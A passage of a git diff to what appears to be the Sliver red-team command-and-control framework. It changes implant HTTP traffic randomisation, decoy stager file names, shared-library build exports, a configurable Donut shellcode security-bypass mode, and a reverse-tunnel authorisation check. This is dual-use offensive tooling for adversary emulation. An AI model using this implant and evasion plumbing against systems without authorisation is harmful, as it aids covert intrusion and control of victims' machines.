||||
"png",
|
||||
"images",
|
||||
"photos",
|
||||
"pictures",
|
||||
"pics",
|
||||
"gallery",
|
||||
"media",
|
||||
"uploads",
|
||||
"assets",
|
||||
"img",
|
||||
"graphics",
|
||||
"visuals",
|
||||
"media-library",
|
||||
"artwork",
|
||||
"design",
|
||||
"diagrams",
|
||||
"icons",
|
||||
"logos",
|
||||
"banners",
|
||||
"thumbnails",
|
||||
"avatars",
|
||||
"screenshots",
|
||||
"headers",
|
||||
"footers",
|
||||
"backgrounds",
|
||||
"buttons",
|
||||
"illustrations",
|
||||
"diagrams",
|
||||
"photoshoots",
|
||||
"picoftheday",
|
||||
"imagebank",
|
||||
"album",
|
||||
"memories",
|
||||
"memes",
|
||||
"snapshots",
|
||||
"portraits",
|
||||
"posters",
|
||||
"renders",
|
||||
"cover-photos",
|
||||
"wallpapers",
|
||||
"photography",
|
||||
"visualizations",
|
||||
"moodboard",
|
||||
"infographics",
|
||||
"renders",
|
||||
"icons",
|
||||
"layers",
|
||||
"picgallery",
|
||||
"picdump",
|
||||
"imagelibrary",
|
||||
}
|
||||
StagerFiles = []string{
|
||||
"attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6",
|
||||
"ZillaSlab-Bold.subset.e96c15f68c68", "Inter-Regular",
|
||||
"Inter-Medium",
|
||||
}
|
||||
StagerPaths = []string{
|
||||
"static", "assets", "fonts", "locales",
|
||||
}
|
||||
)
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
@@ -124,13 +125,20 @@ type WatchTowerConfig struct {
|
||||
XForceApiPassword string `json:"xforce_api_password"`
|
||||
}
|
||||
|
||||
// http server defaults for anonymous requests
|
||||
type HttpDefaultConfig struct {
|
||||
Headers []models.HttpC2Header `json:"headers"`
|
||||
}
|
||||
|
||||
// ServerConfig - Server config
|
||||
type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
|
||||
DonutBypass int `json:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
@@ -187,6 +195,10 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.DonutBypass < 1 || config.DonutBypass > 3 {
|
||||
config.DonutBypass = 1
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -206,7 +218,18 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []models.HttpC2Header{
|
||||
models.HttpC2Header{
|
||||
Method: "GET",
|
||||
Name: "Cache-Control",
|
||||
Value: "no-store, no-cache, must-revalidate",
|
||||
Probability: 100,
|
||||
},
|
||||
},
|
||||
},
|
||||
DonutBypass: 3,
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
}
|
||||
@@ -212,7 +212,7 @@ func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
|
||||
Type: "multiplayer",
|
||||
MultiConf: multiConfig,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to save job %v\n", err)
|
||||
}
|
||||
|
||||
@@ -36,7 +36,7 @@ func TestRootOnlyVerifyCertificate(t *testing.T) {
|
||||
}
|
||||
|
||||
// Test with wrong CA
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
|
||||
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false, false)
|
||||
block, _ = pem.Decode(wrongCert)
|
||||
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
|
||||
if err == nil {
|
||||
|
||||
@@ -77,7 +77,6 @@ func serverOnlyCmds() (commands []*cobra.Command) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint16P("lport", "l", 31337, "tcp listen port")
|
||||
f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
commands = append(commands, startMultiplayer)
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
var (
|
||||
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
|
||||
mutex sync.RWMutex
|
||||
pending sync.Map
|
||||
)
|
||||
|
||||
// RTunnel - Duplex byte read/write
|
||||
@@ -95,6 +96,21 @@ func RemoveRTunnel(ID uint64) {
|
||||
delete(Rtunnels, ID)
|
||||
}
|
||||
|
||||
func AddPending(sessionID string, connStr string) {
|
||||
pending.Store(sessionID, connStr)
|
||||
}
|
||||
|
||||
func DeletePending(sessionID string) {
|
||||
pending.Delete(sessionID)
|
||||
}
|
||||
|
||||
func Check(sessionID string, connStr string) bool {
|
||||
if val, ok := pending.Load(sessionID); ok {
|
||||
return val == connStr
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// func removeAndCloseAllRTunnels() {
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
|
||||
+10
-58
@@ -35,7 +35,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
@@ -307,57 +306,6 @@ func LoadHTTPC2s() ([]*clientpb.HTTPC2Config, error) {
|
||||
return pbC2Configs, nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate stager extensions
|
||||
func SearchStageExtensions(stagerExtension string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StagerFileExtension: stagerExtension,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StagerFileExtension != "" && profileName != "" {
|
||||
// check if the stager extension is used in the provided profile
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStageExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate start session extensions
|
||||
func SearchStartSessionExtensions(StartSessionFileExt string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StartSessionFileExtension: StartSessionFileExt,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StartSessionFileExtension != "" && profileName != "" {
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStartSessionExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LoadHTTPC2ConfigByName(name string) (*clientpb.HTTPC2Config, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
@@ -567,7 +515,7 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
|
||||
return nil
|
||||
}
|
||||
|
||||
func SaveHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
dbListener := models.ListenerJobFromProtobuf(listenerConf)
|
||||
dbSession := Session()
|
||||
result := dbSession.Clauses(clause.OnConflict{
|
||||
@@ -968,14 +916,18 @@ func BeaconTasksByBeaconID(beaconID string) ([]*clientpb.BeaconTask, error) {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
err := Session().Select([]string{
|
||||
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
|
||||
"Description",
|
||||
}).Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
|
||||
/*
|
||||
Even though we are fetching the request/response columns here, we will not send
|
||||
them back in the response
|
||||
If we SELECT those columns out, that will bypass GORM's reflection-based field
|
||||
to column mapping and can cause GORM not to map the created_at field correctly
|
||||
*/
|
||||
err := Session().Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
|
||||
|
||||
pbBeaconTasks := []*clientpb.BeaconTask{}
|
||||
for _, beaconTask := range beaconTasks {
|
||||
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(true))
|
||||
// Do not preserve the request and response columns
|
||||
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(false))
|
||||
}
|
||||
return pbBeaconTasks, err
|
||||
}
|
||||
|
||||
+81
-120
@@ -20,6 +20,7 @@ package models
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
@@ -66,20 +67,6 @@ func (h *HttpC2Config) ToProtobuf() *clientpb.HTTPC2Config {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HttpC2Config) GenerateImplantHTTPC2Config() *clientpb.HTTPC2ImplantConfig {
|
||||
params := make([]*clientpb.HTTPC2URLParameter, len(h.ImplantConfig.ExtraURLParameters))
|
||||
for i, param := range h.ImplantConfig.ExtraURLParameters {
|
||||
params[i] = param.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: h.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: h.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: h.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: h.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
}
|
||||
}
|
||||
|
||||
// HttpC2ServerConfig - HTTP C2 Server Configuration
|
||||
type HttpC2ServerConfig struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
@@ -124,18 +111,23 @@ type HttpC2ImplantConfig struct {
|
||||
ExtraURLParameters []HttpC2URLParameter
|
||||
Headers []HttpC2Header
|
||||
|
||||
MaxFiles int32
|
||||
MinFiles int32
|
||||
MaxPaths int32
|
||||
MinPaths int32
|
||||
// File/Path Generation subset size of the http config to select during generation
|
||||
// see randomSample function
|
||||
MaxFileGen int32
|
||||
MinFileGen int32
|
||||
MaxPathGen int32
|
||||
MinPathGen int32
|
||||
|
||||
StagerFileExtension string
|
||||
PollFileExtension string
|
||||
StartSessionFileExtension string
|
||||
SessionFileExtension string
|
||||
CloseFileExtension string
|
||||
// implant configuration for path length
|
||||
MaxPathLength int32
|
||||
MinPathLength int32
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
// gorm doesn not support string arrays apparently
|
||||
Extensions string
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
NonceQueryLength int32
|
||||
NonceMode string
|
||||
}
|
||||
|
||||
func (h *HttpC2ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
@@ -157,23 +149,23 @@ func (h *HttpC2ImplantConfig) ToProtobuf() *clientpb.HTTPC2ImplantConfig {
|
||||
pathSegments[i] = segment.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxPaths: h.MaxPaths,
|
||||
MinPaths: h.MinPaths,
|
||||
StagerFileExtension: h.StagerFileExtension,
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
MinPathLength: h.MinPathLength,
|
||||
Extensions: strings.Split(h.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -271,10 +263,9 @@ func (h *HttpC2PathSegment) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
|
||||
func (h *HttpC2PathSegment) ToProtobuf() *clientpb.HTTPC2PathSegment {
|
||||
return &clientpb.HTTPC2PathSegment{
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
SegmentType: clientpb.HTTPC2SegmentType(h.SegmentType),
|
||||
Value: h.Value,
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
Value: h.Value,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -330,29 +321,28 @@ func HTTPC2ConfigFromProtobuf(pbHttpC2Config *clientpb.HTTPC2Config) *HttpC2Conf
|
||||
pathSegments := []HttpC2PathSegment{}
|
||||
for _, pathSegment := range pbHttpC2Config.ImplantConfig.PathSegments {
|
||||
pathSegments = append(pathSegments, HttpC2PathSegment{
|
||||
IsFile: pathSegment.IsFile,
|
||||
SegmentType: int32(pathSegment.SegmentType),
|
||||
Value: pathSegment.Value,
|
||||
IsFile: pathSegment.IsFile,
|
||||
Value: pathSegment.Value,
|
||||
})
|
||||
}
|
||||
|
||||
cfg.ImplantConfig = HttpC2ImplantConfig{
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFiles: pbHttpC2Config.ImplantConfig.MaxFiles,
|
||||
MinFiles: pbHttpC2Config.ImplantConfig.MinFiles,
|
||||
MaxPaths: pbHttpC2Config.ImplantConfig.MaxPaths,
|
||||
MinPaths: pbHttpC2Config.ImplantConfig.MinPaths,
|
||||
StagerFileExtension: pbHttpC2Config.ImplantConfig.StagerFileExtension,
|
||||
PollFileExtension: pbHttpC2Config.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExtension: pbHttpC2Config.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExtension: pbHttpC2Config.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExtension: pbHttpC2Config.ImplantConfig.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFileGen: pbHttpC2Config.ImplantConfig.MaxFileGen,
|
||||
MinFileGen: pbHttpC2Config.ImplantConfig.MinFileGen,
|
||||
MaxPathGen: pbHttpC2Config.ImplantConfig.MaxPathGen,
|
||||
MinPathGen: pbHttpC2Config.ImplantConfig.MinPathGen,
|
||||
MaxPathLength: pbHttpC2Config.ImplantConfig.MaxPathLength,
|
||||
MinPathLength: pbHttpC2Config.ImplantConfig.MinPathLength,
|
||||
Extensions: strings.Join(pbHttpC2Config.ImplantConfig.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: pbHttpC2Config.ImplantConfig.NonceQueryLength,
|
||||
NonceMode: pbHttpC2Config.ImplantConfig.NonceMode,
|
||||
}
|
||||
|
||||
// C2 Config
|
||||
@@ -370,18 +360,19 @@ func RandomizeImplantConfig(h *clientpb.HTTPC2ImplantConfig, goos string, goarch
|
||||
ExtraURLParameters: h.ExtraURLParameters,
|
||||
Headers: h.Headers,
|
||||
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinPaths: h.MinPaths,
|
||||
MaxPaths: h.MaxPaths,
|
||||
Extensions: h.Extensions,
|
||||
PathSegments: RandomPathSegments(h),
|
||||
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathLength: h.MinPathLength,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -442,61 +433,31 @@ func MacOSVer(MacOSVersion string) string {
|
||||
func RandomPathSegments(h *clientpb.HTTPC2ImplantConfig) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
var (
|
||||
sessionPaths []*clientpb.HTTPC2PathSegment
|
||||
closePaths []*clientpb.HTTPC2PathSegment
|
||||
pollPaths []*clientpb.HTTPC2PathSegment
|
||||
sessionFiles []*clientpb.HTTPC2PathSegment
|
||||
closeFiles []*clientpb.HTTPC2PathSegment
|
||||
pollFiles []*clientpb.HTTPC2PathSegment
|
||||
paths []*clientpb.HTTPC2PathSegment
|
||||
files []*clientpb.HTTPC2PathSegment
|
||||
)
|
||||
for _, pathSegment := range h.PathSegments {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
if pathSegment.IsFile {
|
||||
pollFiles = append(pollFiles, pathSegment)
|
||||
} else {
|
||||
pollPaths = append(pollPaths, pathSegment)
|
||||
}
|
||||
case 1:
|
||||
if pathSegment.IsFile {
|
||||
sessionFiles = append(sessionFiles, pathSegment)
|
||||
} else {
|
||||
sessionPaths = append(sessionPaths, pathSegment)
|
||||
}
|
||||
case 2:
|
||||
if pathSegment.IsFile {
|
||||
closeFiles = append(closeFiles, pathSegment)
|
||||
} else {
|
||||
closePaths = append(closePaths, pathSegment)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
if pathSegment.IsFile {
|
||||
files = append(files, pathSegment)
|
||||
} else {
|
||||
paths = append(paths, pathSegment)
|
||||
}
|
||||
}
|
||||
|
||||
sessionPaths = RandomPaths(sessionPaths, h.MinPaths, h.MaxPaths)
|
||||
pollPaths = RandomPaths(pollPaths, h.MinPaths, h.MaxPaths)
|
||||
closePaths = RandomPaths(closePaths, h.MinPaths, h.MaxPaths)
|
||||
|
||||
sessionFiles = RandomFiles(sessionFiles, h.MinFiles, h.MaxFiles)
|
||||
closeFiles = RandomFiles(closeFiles, h.MinFiles, h.MaxFiles)
|
||||
pollFiles = RandomFiles(pollFiles, h.MinFiles, h.MaxFiles)
|
||||
paths = RandomPaths(paths, h.MinPathGen, h.MaxPathGen)
|
||||
files = RandomFiles(files, h.MinFileGen, h.MaxFileGen)
|
||||
|
||||
var res []*clientpb.HTTPC2PathSegment
|
||||
res = append(res, sessionPaths...)
|
||||
res = append(res, closePaths...)
|
||||
res = append(res, pollPaths...)
|
||||
res = append(res, sessionFiles...)
|
||||
res = append(res, closeFiles...)
|
||||
res = append(res, pollFiles...)
|
||||
res = append(res, paths...)
|
||||
res = append(res, files...)
|
||||
return res
|
||||
}
|
||||
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minFiles int32, maxFiles int32) []*clientpb.HTTPC2PathSegment {
|
||||
if minFiles < 1 {
|
||||
minFiles = 1
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, MinFileGen int32, MaxFileGen int32) []*clientpb.HTTPC2PathSegment {
|
||||
if MinFileGen < 1 {
|
||||
MinFileGen = 1
|
||||
}
|
||||
return randomSample(httpC2PathSegments, minFiles, maxFiles)
|
||||
return randomSample(httpC2PathSegments, MinFileGen, MaxFileGen)
|
||||
}
|
||||
|
||||
func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int32, maxPaths int32) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
@@ -20,6 +20,7 @@ package models
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -136,8 +137,7 @@ func ImplantBuildFromProtobuf(ib *clientpb.ImplantBuild) *ImplantBuild {
|
||||
|
||||
WGImplantPrivKey: ib.WGImplantPrivKey,
|
||||
WGServerPubKey: ib.WGServerPubKey,
|
||||
Stage: ib.Stage,
|
||||
}
|
||||
Stage: ib.Stage}
|
||||
return &build
|
||||
}
|
||||
|
||||
@@ -168,6 +168,7 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
SGNEnabled bool
|
||||
Exports string
|
||||
|
||||
// WireGuard
|
||||
WGPeerTunIP string
|
||||
@@ -207,6 +208,7 @@ type ImplantConfig struct {
|
||||
NetGoEnabled bool
|
||||
TrafficEncodersEnabled bool
|
||||
Assets []EncoderAsset
|
||||
Extension string
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
@@ -284,6 +286,8 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
IncludeNamePipe: ic.IncludeNamePipe,
|
||||
IncludeWG: ic.IncludeWG,
|
||||
IncludeTCP: ic.IncludeTCP,
|
||||
Extension: ic.Extension,
|
||||
Exports: strings.Split(ic.Exports, ","),
|
||||
}
|
||||
|
||||
if ic.ImplantProfileID != nil {
|
||||
@@ -494,6 +498,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.IsShellcode = pbConfig.IsShellcode
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Exports = strings.Join(pbConfig.Exports, ",")
|
||||
|
||||
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
|
||||
cfg.NetGoEnabled = pbConfig.NetGoEnabled
|
||||
@@ -505,6 +510,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
Name: pbAsset.Name,
|
||||
})
|
||||
}
|
||||
cfg.Extension = pbConfig.Extension
|
||||
|
||||
return &cfg
|
||||
}
|
||||
|
||||
@@ -153,6 +153,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -226,6 +227,7 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
|
||||
@@ -488,6 +488,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
ObfuscateSymbols: false,
|
||||
Format: clientpb.OutputFormat_SHARED_LIB,
|
||||
IsSharedLib: true,
|
||||
Exports: []string{"StartW"},
|
||||
WGPeerTunIP: "100.64.0.2",
|
||||
WGKeyExchangePort: 1234,
|
||||
WGTcpCommsPort: 5678,
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/go-donut/donut"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
@@ -34,6 +35,9 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
if createNewThread {
|
||||
thread = 1
|
||||
}
|
||||
|
||||
serverConf := configs.GetServerConfig()
|
||||
|
||||
donutArch := getDonutArch(arch)
|
||||
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
|
||||
// in the task runner, and we're doing some housekeeping on it.
|
||||
@@ -47,8 +51,8 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
Parameters: params,
|
||||
Class: className,
|
||||
Method: method,
|
||||
Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
|
||||
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
|
||||
Arch: donutArch,
|
||||
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
|
||||
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
|
||||
|
||||
@@ -33,6 +33,22 @@ func SliverExternal(name string, config *clientpb.ImplantConfig) (*clientpb.Exte
|
||||
config.IncludeNamePipe = models.IsC2Enabled([]string{"namedpipe"}, config.C2)
|
||||
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
// set file extension for external builds
|
||||
if config.IsSharedLib {
|
||||
switch config.GOOS {
|
||||
case WINDOWS:
|
||||
config.Extension = ".dll"
|
||||
case DARWIN:
|
||||
config.Extension = ".dylib"
|
||||
case LINUX:
|
||||
config.Extension = ".so"
|
||||
}
|
||||
} else {
|
||||
if config.GOOS == WINDOWS {
|
||||
config.Extension = ".exe"
|
||||
}
|
||||
}
|
||||
|
||||
build, err := GenerateConfig(name, config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -226,9 +226,14 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
|
||||
req := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, req)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
|
||||
if !rtunnels.Check(session.ID, remoteAddress) {
|
||||
sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
|
||||
return nil
|
||||
}
|
||||
defer rtunnels.DeletePending(session.ID)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
|
||||
@@ -109,8 +109,10 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
|
||||
return nil, ErrInvalidBeaconTaskID
